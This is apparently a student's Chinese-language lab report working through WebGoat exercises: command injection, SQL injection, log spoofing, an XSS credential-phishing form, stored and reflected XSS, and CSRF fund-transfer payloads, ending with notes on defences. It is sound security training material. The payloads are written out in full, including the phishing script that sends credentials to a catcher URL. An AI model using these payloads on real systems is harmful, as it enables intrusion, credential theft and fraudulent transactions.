20155226 《网络对抗》Exp9 Web安全基础
实践过程
开启webgoat
- 输入
java -jar webgoat-container-7.1-exec.jar
- 在浏览器输入
localhost:8080/WebGoat
,
进入WebGoat之后,可以看到有很多题目来让我们进行练习:
Injection Flaws练习
Command Injection
- 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上
"& netstat -an & ipconfig"
- 然后会发现框里的选项被修改了,这时点击view:
- 可以看到命令被执行,出现系统网络连接情况
Numeric SQL Injection
-
这个练习的要求是:下面的表单允许用户查看天气数据。尝试注入导致所有天气数据显示的SQL字符串。
现在,您已经成功执行SQL注入,尝试对参数化查询进行相同类型的攻击。 -
依旧利用firebug,在任意一个值比如101旁边加上or 1=1(这个方法我们在实验八的时候用过,因为这是一个永真值):
- 成功!
Log Spoofing
-
这一练习是通过向日志文件添加脚本来提升攻击。
-
下面的灰色区域表示将在Web服务器的日志文件中记录的内容。
目标是使其像“admin”用户名登录成功。
具体操作是:
在User Name文本框中输入:
xzh%0d%0aLogin Succeeded for username: admin
其中%0d是回车,%0a是换行符:
- 点击登录:
- 攻击成功!
String SQL Injection
- 在密码栏中输入
' or 1=1 --
- 进行SQL注入,但是登录失败:
- 结果发现是网页设置的长度不够,我们要对长度限制进行修改
,OK,修改完之后再登录,成功:
SQL Injection(Stage 3:Numeric SQL Injection)
- 使用inspect分析一下这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为:
101 or 1=1 order by salary desc --
-
这里desc是指工资按降序排序,这样老板的信息就会被排到第一个。
-
我们就可以看到老板的工资信息:
-
Database Backdoors
-
先看用户的信息:
- 然后输入注入语句:
101; update employee set salary=90000
- 可以修改工资为90000
Cross-Site Scripting练习
Phishing with XSS
-
这是跨站脚本钓鱼攻击,要求在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点
-
创建一个form,让受害人在创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给
http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>please input your information here:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你
Stored XSS Attacks
-
储存型XSS攻击:XSS攻击代码存储于数据库中,每次当用户打开此网页时便会执行,危害大,常用语留言板,每次当用户查看留言信息时即触发。导致用户访问时载入非预期的页面或内容
-
在title里随便输入某些内容
然后在message中输入一串代码,比如:
<script>alert(" attacked by thy");</script>
- 当用户在论坛中点击刚刚创建的帖子后,
成功进行了攻击:
Reflected XSS Attacks
-
这里练习的具体解释:
在服务器端验证所有输入始终是一个很好的做法。当在HTTP响应中使用未经验证的用户输入时,可能发生XSS。在一个反射的XSS攻击中,攻击者可以用攻击脚本制作URL并将其张贴到另一个网站上,发送电子邮件,或者以其他方式让受害者点击它。 -
当我们输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示给我们看:
-
这时如果我们将带有攻击性的URL作为输入源,例如依旧输入
<script>alert(" be attacked by thy ");</script>
,就会弹出对话框:
Cross Site Request Forgery(CSRF)
-
Cross Site Request Forgery (CSRF)
-
这里练习的目标是发送电子邮件到新闻组。电子邮件包含一个图像,其URL指向恶意请求。在本课中,URL应该指向“攻击”Servlet,该课程的“屏幕”和“菜单”参数和一个额外的参数“TrimeFund”具有任意数值,如5000。您可以通过在右边插入的参数中找到“屏幕”和“菜单”值来构建链接。当时被认证的CSRF邮件的收件人将转移他们的资金。当这一课的攻击成功时,左边的菜单旁边出现一个绿色的复选标记。
-
在message框中输入这样一串代码
<img src='attack?Screen=277&menu=900&transferFunds=5000' width='1' height='1'>
- 提交后,会在消息列表中看到一个新的消息,点击该消息,就会看到你所想要让对方看到的新闻:
CSRF Prompt By-Pass
-
目标是向包含多个恶意请求的新闻组发送电子邮件:第一个转移资金,第二个请求确认第一个请求被触发的提示。URL应该指向这个CSRF提示的攻击servlet,通过PASS课程的屏幕、菜单参数和一个额外的参数“TrimeBoover”,它具有一个数字值,比如“5000”来启动一个传输,一个字符串值“确认”完成它。您可以从右边的插图复制该课程的参数,创建“攻击”格式的URL。屏幕= xxx和菜单= yyy和转移资金= ZZZ”。无论谁收到这封电子邮件,恰巧在那时被认证,他的资金将被转移。当您认为攻击成功时,刷新页面,您将在左侧菜单中找到绿色检查
-
查看页面右边Parameters中的src和menu值。
- 在message中添加代码:
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 提交后生成一个链接,点击:
基础问题
SQL注入攻击原理,如何防御
-
SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
-
SQL注入一般分为普通注入和盲注。
* 普通注入:后台数据库会回显有价值的提示信息,通过这些可能的报错信息可以更容易地进行注入,适合新手入门训练。 * 盲注:后台管理员在给出错误页面时,没有提供详细错误信息。攻击者需要运用脚本通过仅有的判断信息(比如时间差)对表中的每一个字段进行探测,从而实现注入。
-
防御:对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
XSS攻击的原理,如何防御
- 攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
- 浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
CSRF攻击原理,如何防御
- CSRF攻击的主要目的是让用户在不知情的情况下攻击自己已登录的一个系统,类似于钓鱼。如用户当前已经登录了邮箱,或bbs,同时用户又在使用另外一个,已经被你控制的站点,我们姑且叫它钓鱼网站。这个网站上面可能因为某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,由于当前你的浏览器状态已经是登陆状态,所以session登陆cookie信息都会跟正常的请求一样,纯天然的利用当前的登陆状态,让用户在不知情的情况下,帮你发帖或干其他事情
- 通过 referer、token 或者 验证码 来检测用户提交。尽量不要在页面的链接中暴露用户隐私信息。对于用户修改删除等操作最好都使用post 操作